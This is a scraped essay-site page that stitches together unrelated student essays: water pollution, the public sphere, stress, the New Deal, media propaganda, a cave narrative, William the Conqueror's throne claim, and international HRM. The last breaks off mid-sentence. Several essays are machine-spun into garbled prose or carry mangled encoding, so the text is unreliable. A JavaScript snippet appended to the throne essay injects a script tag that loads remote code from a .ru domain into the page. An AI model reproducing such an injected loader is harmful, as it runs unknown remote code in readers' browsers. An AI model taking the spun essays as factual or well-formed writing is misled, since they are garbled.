Water Pollution Essay Example | Topics and Well Written Essays - 750 words

Water Pollution - Essay Example Tragically, maybe with no idea of its extraordinary worth, a few people unconsciously, or even intentionally, taint wellsprings of this valuable ware. In certain occurrences, such defilements have deserted irreversible harm to the previously reducing flexibly. Now, it merits saying that this fundamental yet regularly disregarded asset is water. Water contamination is a significant test confronting the world today. All life is reliant on water, suggesting that there can be no existence without water. Despite the fact that earth is generally secured with water, it is pitiful that solitary a little rate can be devoured. USGS.gov report uncovered that just 1% of the earth’s water can be devoured by people, 99% of which is groundwater and just 1% being lake/stream water. The unusable water is either saline, or solidified in ice tops/glaziers, or is sea water. With just a little segment being consumable, it would be judicious that this small asset is protected as could reasonably be expected. This is unfortunately not the situation. Consistently the small wellsprings of consumable water are drained, on account of demonstrations of contamination. Such contamination happens with or without acknowledgment. Water contamination is characterized as the expansion of hurtful remote components (toxins) to consumable water. This introduction looks to feature the different reasons for water pollution. Water contamination alludes to the sullying of water bodies, for example, waterways, lakes, springs, seas, and groundwater. It happens when poisons are legitimately or in a roundabout way released into water bodies without sufficient treatment to expel destructive compounds. In various pieces of the world for the most part the creating nations, water contamination is a broad hazard which impactsly affects the stylish attributes of the earth, the soundness of the shoppers of the dirtied water and the financial and social prosperity the occupants of these zones in gener al.â

Role Of The Public Sphere Essay Example | Topics and Well Written Essays - 3000 words

Job Of The Public Sphere - Essay Example While there are individuals who contend that there has been across the board commodification of relaxation in this way prompting an augmentation of similar marvels to media considering it is a medium utilized by larger part of the individuals to escape from the drudgery of day by day lives, there is a solid accord that with numerous early overviews used to examine individuals' examples, there have been exact issues in recognizing the feeling prompting buyer and political conduct. The subject of conclusion in the open circle emerges because of the way that numerous progressions depend on the level of individual contact which is as a rule, dependant on the broad communications. These progressions have been generally circulated among individuals prepared to change their sentiment. Along these lines, the open circle and the media have a commonly solid hold over one another where guiding a period of advancement are concerned. It might be included that the open circle is where space and topography are conceptualized to mean the variables that lead to innovation. Without the help of the media, shipping such changes to the open circle would be close to incomprehensible. Likewise, it might be seen that the ongoing blast of the data age has moved our lives to that place in time where staying up to date with the most recent on goings has gotten a matter of most extreme and unrivaled significance. With the advancement of private enterprise, another sort of open circle comprising of improved institutional types of political force has emergedFurther, another middle class open circle developed at the same time to haggle between these two, comprising of gatherings of people who might discuss and talk about and manage the common society through valuable analysis. (Hamilton et al, 2002. p 12 to 16) 1 Part 2: Features of Public Sphere and its Importance To discover fitting responses to the inquiry presented in the above section, one should dive further into the idea itself separated from to the general accord most definitely. An open circle is by all accounts portrayed by three principle highlights where the first has to do with correspondence from a wide perspective. Consequently coffeehouses, formal proceedings, town gatherings, and different spots where individuals connect with each other up close and personal are incorporated under this standard. More up to date structures, for example, papers, communicate media, and new settings on the Internet can likewise be a piece of a similar where the spread of attention to collect agreement on an issue is included. It was in the year 1962 that the scholar Jrgen Habermas of the famous Frankfurt School in Germany, instituted the articulation Offentlichkeit, or open circle in English. As clarified by Habermans (1989)2, this idea has existed in its actual sense in the UK since the eighteenth century where London society's cafés had become the focuses of workmanship and scholarly analysis. This had prompted a continuous consideration of the monetary and the political debates as issues of conversation. In French

When Stress Is Actually Good for You

When Stress Is Actually Good for You Stress Management Effects on Health Print When Stress Is Actually Good for You By Elizabeth Scott, MS twitter Elizabeth Scott, MS, is a wellness coach specializing in stress management and quality of life, and the author of 8 Keys to Stress Management. Learn about our editorial policy Elizabeth Scott, MS Medically reviewed by Medically reviewed by Steven Gans, MD on July 11, 2016 Steven Gans, MD is board-certified in psychiatry and is an active supervisor, teacher, and mentor at Massachusetts General Hospital. Learn about our Medical Review Board Steven Gans, MD Updated on February 13, 2020 How Stress Impacts Your Health Overview Signs of Burnout Stress and Weight Gain Benefits of Exercise Stress Reduction Tips Self-Care Practices Mindful Living Hill Street Studios/Blend Images / Getty Images We rarely hear people say, Im really feeling stressed. Isnt that great? But if we didnt have some stress in our livesâ€"the good stress varietyâ€"wed feel rudderless and unhappy. If we define stress as anything that alters our homeostasis, then good stress, in its many forms, is vital for a healthy life. Bad stress can even turn into good stress, and vice versa.?? Good Stress vs. Bad Stress Good stress, or what psychologists refer to as eustress, is the type of stress we feel when we feel excited. Our pulse quickens and our hormones surge, but there is no threat or fear. We feel this type of stress when we ride a roller coaster, compete for a promotion, or go on a first date. There are many triggers for this good stress, and it keeps us feeling alive and excited about life. Another type of stress is acute stress. It comes from quick surprises that need a response. Acute stress triggers the bodys stress response as well, but the triggers arent always happy and exciting. This is what we normally think of as stress (or bad stress). Acute stress in itself doesnt take a heavy toll if we find ways to relax quickly. Once the stressor has been dealt with, we need to return our body to homeostasis, or its pre-stress state, to be healthy and happy.?? Chronic stress is another form of bad stress. It occurs when we repeatedly face stressors that take a heavy toll and feel inescapable. A stressful job or an unhappy home life can bring chronic stress. This is what we normally think of as serious stress. Because our bodies arent designed for chronic stress, we can face negative health effects (both physical and emotional) if we deal with chronic stress  for an extended period of time.?? Sources of Good Stress Yes, you can add good stress to your life! Ideally, you choose activities and set goals that make you feel good, happy, and excited. To gauge whether or not an activity is worth your time, pay attention to how the thought of it makes you feel. Do you feel excited? Is it a want to, or a have to? Be sure your want to activities are all things you really do want to do, and your have to activities are all absolutely necessary. Streamline Musts and Wants to Create a Life Plan How Good Stress Can Become Bad Stress Good stress can become bad for you if you experience too much of it. (Adrenaline junkies know this firsthand.) This is because your stress response is triggered either way, and if youre adding that to chronic stress, or several other stressors, there is a cumulative effect. Be in tune with yourself and acknowledge when youve had too much. You may not be able to eliminate all stress, but there are often ways that you can minimize or avoid some of the stress in your life, and this can make it easier to handle the rest. If you can avoid the most taxing forms of stress, youll have more resilience against other types of stress that are unavoidable. How Bad Stress Can Become Good Stress Not all forms of bad stress can become good stress, but it is possible to change your perception of some of the stressors in your life. This shift can change your experience of stress. The bodys stress response reacts strongly to perceived threats. If you dont perceive something as a threat, there is generally no threat-based stress response. If you perceive something as a challenge instead, the fear you would normally experience may turn into excitement and anticipation, or at least resolve. You can often make the shift in perception by:?? Focusing on the resources you have to meet the challengeSeeing the potential benefits of a situationReminding yourself of your strengthsHaving a positive mindset (getting into the habit of thinking like an optimist) As you practice looking at threats as challenges more often, it becomes more automatic, and you experience more good stress and less bad stress. A Word From Verywell Overall, its important to have good stress in your life. Make an effort to cut out as much chronic stress as possible. Change your perception of stress where you can, and add positive activities to promote eustress. Together, these strategies help you create a healthy balance in your life.

The Civilian Conservation Corps Saving Land, Saving Man

The Civilian Conservation Corps: Saving Land, Saving Man Nothing short of tragedy struck America in the 1930s. When Franklin D. Roosevelt took office in 1933, unemployment rates had reached a staggering 25% (DeGrace). With over 13 million Americans void of both work and hope, the necessity of government intervention became evident (DeGrace). The New Deal, a legislation encompassing various relief, reform, and recovery programs, was Roosevelt’s proposed method of revival. One of the first, and perhaps the most well-known, agencies, was the Emergency Conservation Work Act (ECW), which would later become the Civilian Conservation Corps (CCC) (CCC Brief History). Through this organization, Roosevelt aimed to assuage impacts of The Great Depression beyond simply its detriment to economic prosperity. Ultimately, he prevailed in doing so. The Civilian Conservation Corps, having aroused incredible public support, was an extremely effective agency due to its success in granting America ns economic, environmental, and spiritual relief that would prosper throughout its undying legacy. The Civil Conservation Corps was the first of several job programs intended to relieve the nation’s suffering through providing work as quickly as possible. Roosevelt, who was particularly fond of the program and personally designed many of its endeavors, aimed to preserve â€Å"two wasted resources: young men and land† (CCC Brief History). With a longtime interest in conservation, he sent thousands ofShow MoreRelated Recessions and Depressions Essay1653 Words   |  7 PagesA stock market crash in 1929 caused loss of savings which led to unemployment, lower wages, and a distrust of the banking system. The affects of it lasted into the 1940s. Franklin Roosevelt was elected president during this period; legislation he passed tried to alleviate the suffering of the public. As a result of the Great Depression, Franklin Roosevelt created the Civilian Conservation Corps to employ jobless young men and improve government land. The decade directly preceding the GreatRead MoreBefore, During, and After the Great Depression733 Words   |  3 Pagesbeen replaced by somebody who was unemployed in a heart beat. Some 5,000 banks failed, leaving millions without their savings. Living conditions were terrible. Stores and factories closed. Some men and women searched for food in garbage cans and others gathered on street corners to talk of revolution. After War World I, farmers had more land than they can farm. They needed more land during the war to help feed the army and other European countries, but now that the war is over the farmers were overproducingRead MoreThe New Deal : A Nation Of Recovery856 Words   |  4 PagesFranklin D. Roosevelt was elected into office. Roosevelt entered the White House with a yearning for the country’s trust and support. Vulnerable and impatient, American’s were quick to endorse Roosevelt who was viewed as not only a new beginning, but a man with enough courage to try and fix the downfall that America was in. Roosevelt’s ideas for a national change were a series of federal programs called The New Deal. These programs consisted of two main goals: job recreation and economic recovery. ConsideringRead Mo reMain Features of the New Deal Essay1683 Words   |  7 PagesRoosevelt came to power. He aimed to invest government money in making America prosperous again after the depression years of Hoover. Roosevelts main aims were to reduce unemployment and get Americans earning money again, to protect peoples savings, homes and livelihoods, to provide relief for the ill, the elderly and the unemployed and to get American industry and agriculture running once again. In his first hundred days in charge in charge Roosevelt worked tirelesslyRead MoreFDR’s Alphabet Soup1364 Words   |  6 PagesThis particular speech was regarding the banking crisis. He dove right in and mentioned the issues on the forefront of American’s minds. In the last days of February and into the first weeks of March there was surge of people that took their entire savings out of their banks for cash or gold because they feared loosing their money all together. Roosevelt explains that, â€Å"The bank puts your money to work to keep the wheels of industry and of agriculture turning around.† Meaning that the banks cannotRead MoreThe New Deal: Radical Policies towards a Conservative Goal1539 Words   |  6 Pagesgovernment programs that can still be seen to this day. Through its enactment of social reform and conservation programs, the New Deal mounted radical policies that gave the federal government unprecedented power in the nation’s economy and society, however, the New Deal did not bring America out o f the Great Depression and could be considered conservative in the context of the era, ultimately saving capitalism from collapsing in America. Many of the New Deal’s relief programs were revolutionary;Read MoreEssay about The New Deal1030 Words   |  5 Pagestheir shares. This meant that there were much more sellers than buyers which meant the whole system crashed. This caused banks to go bankrupt, along with everyones money that were in those banks. This caused people to withdraw their savings from banks, causing even more to close down. Also there was the weakness of the US economy. After the boom, there was a strain on the consumer goods being bought, and other such things. The companies that sold cars and otherRead MoreEssay about Main Features of The New Deal4123 Words   |  17 PagesMain Features of The New Deal In 1929, the stock market collapsed causing a worldwide economic depression, destroying America’s economy with many people losing their life savings therefore thrusting them into unemployment and poverty. Unemployment reached highs of over 13 million whilst the GNP for the country reached as low as $58 billion, compared to the $100 billion+ pre depression figures, because demand and production fell so dramatically. People were forced outRead MoreThe Great Depression and World War II1795 Words   |  7 Pagesmiddle-class people had more freedom because they had more income. In addition, banks in our state, as well as other states in the union, were small and unprotected. That means that when a bank went bankrupt, they could not pay back all of their loans or savings. Many farmers in North Carolina started to mechanize their new, larger farms to compete with other farms. This increased supply and dropped demand, lowered the price of food and made it harder to pay back the loans for the new tractors and machineryRead More The Great Depression in America Essay2388 Words   |  10 Pagescountry in search of food, work, or a roof. There was a popular song from this era known as â€Å"Brother, can you spare a dime (Modern)?† A big step that happened for the unemployed were the Civilian Conservation Corps, a government program that brought relief to men between the ages of 18 and 25. The Conservation Corps gave jobs to young men in work camps across the country for about $30 per month. There were about 2 million men that took advantage of these jobs (The Great Depression). These men took

The Media as Conduit for Political Propaganda Essay

The Media as Conduit for Political Propaganda According to the latest polls, 90% of Americans favor military retaliation for the September 11 attacks on the World Trade Center. Taking into consideration that all aggregate data is used for self-serving means, this number is still exceptionally large. The numbers are manufactured by propaganda vehicles, or rather the mainstream media. In a sort of Orwellian fashion, the media bombards the audience with images, voices, and memoirs of death, grief, and pain that pervert their way into public consciousness, creating a sort of â€Å"group-think.† In the essay â€Å"Propaganda, American-style,† Noam Chomsky writes: In totalitarian societies, propaganda doesn’t really try to control your thoughts.†¦show more content†¦Such is the nature of the â€Å"democratic† beast. This concept of â€Å"manufactured consent†, a term coined by American journalist Walter Lippman, should come as no surprise considering that the media is a vehicle and a product of capitalism. The metaphor of money equals power has a large stake in the operations of the media. The news stations, newspapers, and radio stations are all controlled by a powerful elite; yet, the media themselves are huge profit-seeking corporations. They are integrated into the market, and are thus subject to criticism and control by their stockholders. The stockholders want the bottom line, or in other words, what they want to hear. Money and power are the means through which the news is filtered, dissent is squelched, and political agenda is satisfied. In Noam Chomsky’s work Manufacturing Consent, the relationship between objectivity and the media is explained. The elite domination of the media and marginalization of dissidents that results from the operation of these filters occurs so naturally that media news people, frequently operating with complete integrity and goodwill, are able to convince themselves that they choose and interpret the news â€Å"objectively† and on the basis of professional news values. This concept of objectivity is unable to exist in a nation so reliant on systematic bias. The symbiotic relationship between the media and the powerful elite makes it difficult for a reporter to cut of ties with those whoShow MoreRelatedRole Of Politics In Cambodian Politics1037 Words   |  5 Pages whose leaders finally see a chance of cornering the government. On June 4, a dozen parties will compete for over 1,600 communes across the country. Commune chiefs play a critical role in managing local issues, although they have also become a conduit for corruption – as Asia Sentinel found out first hand in Prey Lang national park, where a local administrator openly admitted to charging $5 for every truck of hardwood that passed through his commune, even though logging is prohibited in the areaRead MoreMedia s Influence On Media2111 Words   |  9 Pagestoday is communicated through media. Media is the most powerful and influential force in the country. The media are powerful agents of socialization and they set the standard that majority follow. The power giving to American media has allowed them to be very effective using propaganda as strategy, the media tend to say they serve to relieve social conflicts into minimum. We clearly see that the media promote social conflicts by separating class. The image that media has created in the min d of massesRead MoreEssay about Cyber Bullying and Hate Speech1161 Words   |  5 Pagesand necessary. Article 19 from this declaration says, Everyone has the right to freedom of opinion and expression; this right includes freedom to hold opinions without interference and to seek, receive and impart information and ideas through any media and regardless of frontiers. The limitations which the UN places on this article are equally as important, limitations such as; harm principles, hate speech or pornography. According to the text on Wikipedia, limitations maybe either legalRead MoreVisual Propaganda For Armed Conflict Comment2298 Words   |  10 PagesHelbling Visual Propaganda for Armed Conflict Comment by Grammarly: Deleted:a Professor McCrery 3/30/16 During World War II, the Nazis propaganda machine was the primary tool to win over the minds of millions of Germans who did not initially support Hitler and the Nazis? anti-Semitic agenda. Josef Goebbels was the man most responsible for the Nazi?s racist indoctrination of the Germans, as the Minister of Public Enlightenment and Propaganda. He led the national takeover of all forms of media and entertainmentRead More National Culture and Its Relation to Media Essay2770 Words   |  12 PagesWatson posits that â€Å"a nation is a community of people, whose members are bound together by a sense of solidarity, a common culture, a national consciousness† (Watson 1997: 1). A more familiar definition was coined by Anderson: â€Å"It is an imagined political community and imagined as both inherently limited and sovereign† (Anderson 1991: 6). If Anderson’s definition is rigorous, why did Stein fail to perceive the intimate connection with America? Stein could not maintai n the identification of the USRead MoreNo American Of The Right Age Bracket Will Forget What Happened1647 Words   |  7 Pagesuntimely in a few hours terrorized America in a way we have never seen before. (Dunbar Reagan,2006 pg x). As a country we did come together for the time being we were united and helped one another because we had no other choice. We didn t see race, political backgrounds or if the person was rich or poor we saw citizens who were in need and that our country had just been attacked and we needed to help. As for the fight in us quickly did turn into speculations as the first conspiracies theoriesRead MoreModern Public Relations Of Western Ideology2448 Words   |  10 Pageschallenge it, and therefore, it should come as no surprise that International Public Relations was created by western powers to combat dissent to the Western Narrative. Utilising Herman’s and Chomsky’s Propaganda Model we can layout the framework for why public relations is inherently westernised, and that media is embedded into the markets system as a result of capitalism dominance (Herman 2003). One could argue that public relations are talents which the human species are innately born with, and that thisRead More How the US Government uses the media to influence its enemies5973 Words   |  24 Pagesthe media to influence its enemies The US Government, via several departments and agencies, uses the media to influence its enemies. This influence takes various forms and is used to accomplish different objectives depending on which part of the government is being used. In addition, there is a direct relationship between which part of the government is doing the influencing, who the â€Å"enemy† may be, and what kinds of media tactics are used. At a high level, the US Government’s media manipulationRead More Terrorism and the Media Essay3629 Words   |  15 Pagesan effort to understand and defeat terrorism, and simultaneously, the media, with its perverse fascination with violence and profit-driven espousal to round-the-clock, up-to-the-minute coverage, demonstrated an obsession with the attacks, by broadcasting almost nothing but the latest developments in the search and rescue efforts and investigations surrounding the them. Meanwhile, the public, having been inculcated via the media with a sense of danger and immediate threat to their lives and well-beingRead MoreMy Final Project1967 Words   |  8 Pagesof a publicly accessible site. As the site currently exists, I’m still thinking through the ways in which I can have it, and the work that’s on it, be helpful to aiding in the amplification of women who are incarcerated voices’ as well as being a conduit for non-incarcerated folks to get i nvested and involved in the fight to demand humane treatment of currently incarcerated folks. If I had infinite time and resources, the first thing I would do would be to begin an exchange with any folks who are

Colors in the Caves Narrative Essay Free Essays

It was Spring Break of 2010, the already steamy, hot temperatures of the Southern air rising despite the full blast of the air conditioning blowing through my hair as we drive through the seemingly never-ending desert of Arizona. My family, consisting of four, is headed toward Picacho Peak to take on the strenuous 6. 2-mile hike along the Sunset Vista Trail. We will write a custom essay sample on Colors in the Caves Narrative Essay or any similar topic only for you Order Now We pull up to the Sunset Vista Trail Head parking area, our medium-sized Camelbaks having already been packed somewhere along the 1,060 miles of flat, boring road, we start up the trail with the sun beating down our backs. Automatically, I fall in step with my long-legged brother while my sister gratefully stays behind with our mother, adopting a preferred slow, steady pace. The sun is bright, the jagged rocks and occasional stream receiving its pale, yet blinding reflection. My brother and I make a good team; he supplies the food while I supply the water, all the while sharing laughs and memories, memories that I will later on think to be my last. After a couple hours, the scalding sun is taking on its inevitable journey toward the western horizon, being replaced with the cool breeze of the moon. My brother and I decide to take a refueling break on two enormous rocks after four hours of walking in the moonlight. â€Å"Here, take my Camelbak,† I say, â€Å"I’m going to the bathroom. † I take my flashlight as I walk off the trail for two minutes, keeping track of the monotonous rocks and brush I pass by. When I am finished, I start to head back towards our temporary resting place. Passing the familiar rocks, I crouch down to inspect with my LED flashlight a peculiar zigzag shape on the ground. Tracing my finger along the sharp edges of the shape, I realize it’s a narrow fracture in the ground, leading to a larger web of intricate fractures that rest just under my feet. Just then I hear a whisper of rushing water. Before I have time to react to the sudden realization that the ground could collapse from under my feet, I fall through the Earth. The fall seems endless though it may have taken no more than two seconds. I land with an echoing crash as my body penetrates through hot water. My body is violently thrown to the side with the sharp current and I am struggling to reach the surface. I reach out, my hands sliding on the slick floor as my body is carried by the flow of the hot spring. My wrist catches on a column jutting up on the floor of the cave. I wrap both arms around it to haul myself up. I cough to catch my breath, throat burning. The flashlight is still on. I wave the blue light around the darkness. The blue light winks as I shine it on my surroundings, the battery will die soon. I spot a tunnel not far off to the right. It must go somewhere, I thought. I can see a clear enough path towards it, so I reluctantly click off the safety of the blue light. I am instantly swallowed by darkness as I crawl my way towards the tunnel. Black, black, black is all I see. Without my vision, I have to be careful of where I move. The blue luminosity from the flashlight leaves me with the hesitant desire to not be wasteful. How many hours has it been? No food, no water. The sun should surely be up soon. Just as the thoughts have formed I see a faint light up ahead. The yellow glimmer of the sun’s rays gives me the hope I so crave. The light is still nowhere near enough to be able to see anything. The overwhelming pitch-blackness, the winking blue of the LED flashlight, and the steady growing yellow shine of the sun is all I see in my slow, crawling trek along the cave’s floor. With my cautious travel, thriftiness, and hopeful thoughts, the growing light is suddenly all around me. I am squinting as I collapse to the ground. Almost immediately I am pulled up from under my shoulders, faint cries of relief and concern swarm through my ears, but with the overbearing silence and lack of energy, I cannot make out the words. All I see is brightness, as the hope I so desperately clung to is turned into overwhelming relief and happiness as survival is achieved. That’s when I black out. More brightness, a different kind of light. Not the hopeful yellow of the sun shining through the rocks, but of a white fluorescent one. I am in a hospital. My family is suddenly all around me, throwing hugs and kisses and joy. A nurse comes in with a doctor, they give my family time to pull themselves together. I can hear the nurse speaking to the doctor, â€Å"How could she possibly have made it through those awful caves? † The doctor responds to her, flashing me a knowing smile, â€Å"Colors go a long way in finding our inner character†. How to cite Colors in the Caves Narrative Essay, Essays

Claim free essay sample

# 8217 ; s To The English Throne Essay, Research Paper When Edward the Confessor was crowned in 1042 he was claimed to hold become celibate. This immediately brought up jobs of sequence to the throne. So, claims were made to it even before Edward was deceasing. The individual with likely the strongest claim to the throne was William the Bastard, as his coevalss knew him, today referred to as William the Conqueror or William Duke of Normandy. His first claim was after the fleeing of the Godwin # 180 ; s. The Godwin # 180 ; s fled England due to their dwindling military support after their inactivity and the test against Godwin, which he would surely lose. After their fleeing Robert de Jumieges claims Edward made William inheritor to the English Throne. The Following claim from Williams # 180 ; s cantonment for the throne was made on the bases of his household connexion with the male monarch. First his married woman was related to the King # 180 ; s of Wessex which Edward the Confessor was a member hence holding a familial right to the throne. Besides Edwards female parent, Emma, was a Norman and raised her boy in Normandy of which William the Conqueror is Duke. Another major household connexion is that William was really Edwards # 180 ; s cousin, and as Edward had no boy was one of his closest household links. In 1051, during the expatriate of the Godwin household, it is undoubted William came over from Normandy to see Edward in his tribunal in England. It is besides likely during this visit Edward made it clear to Duke William he was heir to the English throne. However it is thought this promise meant small to Edward and intend a batch more, or considered more of import, by the immature Norman Duke. The following claim is one of the most of import yet controversial made by Edward. It involves the visit of Harold. Edward surely sent Harold to France to see William but the grounds for this vary signifier beginning to beginning. Harmonizing to the Norman Chroniclers Harold was shipwrecked in Ponthieu and held by the local swayer, he was held to redeem until Duke William came to his assistance and managed to liberate him. After his release he campaigned in Brittany with William, during this clip it is alleged to hold put his custodies within William # 180 ; s, in the system of Feudalism this is a mark of accepting oneself to be the liege. Therefore Harold was accepting William as his higher-up. Harold besides swore on the ancient relics of Bayeux that he would be Williams # 180 ; s adult male and to assist him in his pursuit for the throne no affair what occurred. Therefore if and when Harold took the throne he was traveling against his curse, which made him false witness and a pr evaricator. The concluding two claims on which William claimed the English throne were based on faith. William realized that if he were to derive the throne by suppressing or being inheritor he would necessitate the support of the papal. This is because in that clip and under feudal system the church was required to win conflicts and was improbably powerful. Traveling back to my debut I mentioned when Edward was coroneted and asked to go celibate by St Peter, he was besides told by the Saint that God would set up an appropriate replacement to the throne. Now William has God on his side after deriving the support of the Pope via agencies of assuring land to the Papacy if he was successful and by the manner he had put the Catholic Pope under force per unit area by suppressing the environing land of the Vatican. The concluding point is related to faith as William announced that Archbishop Stigand who had been excommunicated by the Catholic Pope crowned Harold. Therefore Harold # 180 ; s Kingship was theoretically null as he had non been decently coroneted. However when sing all of Williams claims to the throne we must retrieve from which beginnings we gained the information from. We receive an improbably colored position of the period due to the fact the Normans won the twenty-four hours and they choose what were written in the histories of history. All of the beginnings are pure Norman Propaganda possibly warranting their invasion or accounting for their claims to the throne. / gt ; William the Bastard was non the lone rival to the throne of England. Harold Godwinson besides made a valid claim, based chiefly on the words of Edward the Confessor on his deathbed. It was recorded that under Edward # 180 ; s dyeing breath he named Harold as the inheritor to his throne. This was far more of import than when Edward named Duke William heir 11 old ages before his decease as, if both narratives are true, this was his concluding determination when it mattered the most. Though this is Harold Godwinson # 180 ; s merely direct claim to the throne there are other grounds why he felt he should hold been named inheritor to the throne. At the clip in inquiry and after he returned from expatriate Harold was the individual most powerful adult male in England on a par with the male monarch, he owned straight and indirectly most of the land in England. Feudalism is based on power and power in feudal England was land. So Harold was improbably powerful and if sequence to the throne were based on this he would surely be the figure one campaigner. Harold was besides made to be in male monarch, he had the natural features of a male monarch: # 8220 ; To a modern-day Harold appeared of all right build, a good captain and a brave soldier, greathearted and amiable, patient like all his household # 8230 ; # 8230 ; # 8230 ; a strong swayer of his earldom, and a austere lover of justice. # 8221 ; ( The Feudal Kingdom of England 1042-1216 Frank Barlow ) So from this facet it is clear he was bred for Kingship and was conceived as a ready replacement to Edward by the coevalss. This was farther shown by his actions during the early 1060 # 180 ; s. During this period he began constructing up a legendary position as a great warrior and a worthy leader of work forces, this was due to the troublesome Welsh who were continuingly stirring up problems in the Marches of England and Wales. These are the few lasting claims Harold had to the throne, nevertheless had more of the Anglo Chronicles remained after the Norman Conquest others may good hold been illustrated. After the deceases of Earl # 180 ; s Ralf and Leofric during the period of 1053 to 1057 it was reported in one of the few staying Anglo Chronicles that Edward began looking outside of England and Normandy for Possible inheritor to his throne, this brought up the name of Atheling. First Edward invited Edward Atheling boy of Edmond Ironside to come to England. Though Edward Atheling made it to England he died under leery fortunes before he could really run into the male monarch. After his decease his boy Edgar became another option for King Edward. However, he was still a immature male child at this clip approximately eight old ages old, besides during the clip were everyone was competing for the throne he could neer beat up any support for his instance from the earls, which he urgently needed. These three pe ople had the strongest claims to the throne nevertheless others besides put frontward their instance. Harold Hardrada made one such claim ; he was the King of Norway and felt he had a strong claim due to him being the boy of one of the Kings of Wessex. He was the descendent of King Cnut who had ruled over England and on this bases Hardrada felt he had a interest. Another claimant to the throne was Tostig. Tostig was the boy of Godwin and the brother of Harold Godwinson. He had different claims to the throne from his brother. Queen Emma, married woman of Edward the Confessor, had ever favored Tostig from the beginning and argued the instance for Tostig # 180 ; s enthronement from the clip Edward fell badly. As I have outlined there were many people trying for the throne of England. However if we were to contract the picks down to really possible claimants we would take William the Bastard and Harold, boy of Godwin. These two were truly the lone two in the race. We must besides bare in head had Harold gained the throne the sum of grounds he based his claim to the throne on would be greater so the sum there are and likewise the figure of Williams grounds would hold been reduced or degraded. This is because history is written by the victors non the also-rans, as Harold was in this instance. ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

Ihrm free essay sample

Training, Performance Management, Appraisal and Compensation Issues. Introduction: IHRM HRM refers to those activities which organization does for utilizing its human resources effectively, planning of human resource, recruitment, selection, performance appraisal, compensation management. From the beginning of globalization, companies’workforce has been diverse and cultural issues are appearing. As a result IHRM emerged. International human resource management developed after 1980’s as a subject focusing mainly on what can be the opportunities and problems for MNC’s expatriation, why cross cultural issues are important for international companies and international aspect of HRM consists employee recruitment, selection, placement, performance and compensation management as well career development policies and practices. International human resource management covers the broader perspective on human resource management which involves recruitment, selection, placement and effectively utilizing employees of the company. IHRM encompasses: Managing employees in the MNCs globally†¦ (Poole, 1990; p1) Managing employees in the global surrounding and dealing with the problems that arise in MNCs operating in many foreign countries unlike working on behalf of foreign companies in own country or managing international employees in local companies†¦. We will write a custom essay sample on Ihrm or any similar topic specifically for you Do Not WasteYour Time HIRE WRITER Only 13.90 / page Briscoe and Schuler, 2004; p1) The way MNCs manage their global employees to gain local as well as global competitive advantage†¦. (Scullion, 2005; p5) A branch of management studies which contains how human resource management are practiced and how it affects in cross-cultural situations†¦ (Peptone, 2006; p523) Issues of international management of people of MNCs along with issues of different parts of their organizations and comparative analysis Of HRM in different countries†¦. Stahl and Bjork man, 2006; p1) â€Å"Complex relationship between globalization, national systems and companies [which Provides us with] three distinct â€Å"levels of analysis† for interpreting and understanding HRM Strategies and practices [the globalization effect, the regional and national effect, and the organization effect]†Ã¢â‚¬ ¦ (Edwards and Rees, 2008; p22) Management of employees in global and cross cultural context and comparative human resource management†¦. (B rewster et al, 2007, p5) Identifying, Selecting and Managing the Global Workforce While talking about the global workforce, the term â€Å"expatriate† is largely been used in IHRM in an article in the management of human resource literature. Kobrin(1988) discussed that US multinational enterprises were minimizing the number of international assignees to reduce cost and because of the high failure of expatriate. Some years later, it seemed that this idea doesn’t reflect the current practices of MNEs. According to the 2002 survey carried out by the consulting firm (ORC); from a sample of 775 MNEs the most common pattern among the majority of these companies, including the North Americans, is an increasing use of employees sending overseas. An expatriate is an employee who works for the company he/she represents for certain time period in overseas. There are abundant numbers of studies about the way organizations manage their pool of expatriates. The studies cover different areas: selection, training, relocation and adjustment, pay and performance, career development and return. Reasons for Expatriation: According to the Black et al. 1992), an expatriate has major three strategic roles. They are Monitoring (management function), transferring skills and knowledge, managerial development. Edstorm and Galbraith (1977) discussed that role of expatriate rely on the foreign strategy of the company. Companies going global used expatriates for coordination, while companies adopting multi-d omestic strategy used expatriate for controlling. In implementer subsidiaries, which apply the resources developed in the headquarters or other units of the organization to a specific geographic area, use expatriates mainly for the transfer of the skill and knowledge. On the other hand, globally integrated subsidiaries, which develops new expertise using the resources generated in other subsidiaries or in the headquarters, use expatriate for the coordination along with the transfer of knowledge. The other reason may include the trustworthiness of expatriates to increase the channel of communication between headquarter and subsidiaries and to ensure that head-office interests are well represented in the subsidiary. Strategic Choices in Expatriate Selection: The selection of expatriates may be on the basis of internal recruitment vs. xternal recruitment, team vs. individual assignments or on the basis of the incentives offered by the organization such as tangible or monetary reward or intrinsic rewards which may include the opportunity for professional development, security or recognition. Managing the Expats: * International assignment for the valid reasons: Assignees are allocated mainly to meet the business demands companies with effective expatr iation look at their international assignment from the long term perspective. Companies expect their expats to gain new ideas which are beneficial for the company or earn skills to lead the market. Companies expect their expats to gain new ideas which are beneficial for the company or earn skills to lead the market. Example 1: Nokia, one of the leading mobile phone manufacturing companies effectively use international assignment to generate knowledge. It has 36 Nokia centers in 11 countries. Upper level forms a team of capable employees n they are assigned in R n D center for creating a new product. The most important thing that matters is executives should be aware of the reason for IA which also helps to gain knowledge and skills for the employee and the company. Furthermore; this awareness should also be in an employee. * Sending the right employee: Employees who are sent on foreign assignments often find difficulty to adapt in new culture. Suppose. Manager of an American car manufacturing company was send to Korea because of his working style in America, Koreans, not only found it offensive, but they would not even speak directly to him. * Repatriation and Career Management: It is seen that companies are finding difficulty in managing the repatriates. For example, the position is not clearly defined after repatriation and they are given the less authority in their country. Employees find themselves in the â€Å"holding pattern† after their return to the company (Harvey,1989;Feldman and Thomas,1992;welch 1994;gregersen amp; black,1996;kamoche,1997;selmer,1999). In addition, the expatriate Sometimes, they may feel that they may not be able to cope up with the changes in their country which is called reverse culture shock (Black, 1992; Forster, 1994). It has been reported that 10–25% of the expatriates leave their company within 1 year after repatriation (Black, 1992; Solomon, 1995; Black, Greger sen, Mendenhall, amp; Stroh, 1999). (Black, 1992; Forster, 1994). As per career is concerned, companies ignore the individual and professional development of the employees (Gregersen et al. , 1998). There’s a lack of international managers who can work in global environment. (Harvey, Buckley, Novice Vic, amp; Wiese, 1999). Companies lack knowledge of how international managers can be developed. (Selmer, 1998). There’s not enough studies conducted how international capabilities gained by the employees can be applied in his home country. Importance of Cultural Awareness: The cultural 